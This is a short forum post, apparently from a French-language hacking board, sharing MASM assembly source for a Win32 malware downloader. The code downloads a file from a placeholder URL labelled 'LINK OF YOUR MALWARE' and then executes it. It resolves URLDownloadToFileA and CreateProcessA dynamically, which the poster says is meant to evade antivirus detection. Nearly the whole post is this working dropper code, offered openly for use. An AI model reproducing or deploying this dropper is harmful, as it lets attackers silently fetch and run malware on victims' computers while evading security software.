Annonce

Réduire
Aucune annonce.

[MASM]Win32.Downloader

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • [MASM]Win32.Downloader

    Hey, i share my downloader, i make it for fun and instructive purpose;
    my downlader just use UrlDownloadToFile and CreateProcess, all dynamcally for bypass some avs. I could have use the PEB to perfom a better downloader but im lazy :].

    Code:
    .386
    .model flat, stdcall
    option casemap :none  ; case sensitive
     
    include windows.inc
     
    include kernel32.inc
    includelib kernel32.lib
     
     
    .data
    ExeFile db "LINK OF YOUR MALWARE",0
    PathTarget db " PATHNAME WHERE THE MALWARE GO",0
    LpStartup STARTUPINFO <>
    ProcessInfo PROCESS_INFORMATION <>
    dll1 db "urlmon.dll",0
    dllfunc1 db "URLDownloadToFileA",0
    dll2 db "kernel32.dll",0
    dllfunc2 db "CreateProcessA",0
    signature db "Downloader by EpicOut - 2013",0
    .code
    start:
    call download
    call execute
    call exit
     
    download:
    invoke LoadLibrary,addr dll1
    invoke GetProcAddress,eax,addr dllfunc1
    push NULL
    push 0
    push offset PathTarget
    push offset ExeFile
    push NULL
    call eax
    ret
     
    execute:
    invoke LoadLibrary,addr dll2
    invoke GetProcAddress,eax,addr dllfunc2
    push offset ProcessInfo
    push offset LpStartup
    push NULL
    push NULL
    push NULL
    push TRUE
    push NULL
    push NULL
    push NULL
    push offset PathTarget
    call eax 
    ret
     
    exit:
    invoke ExitProcess,0
    ret
    end start
Chargement...
X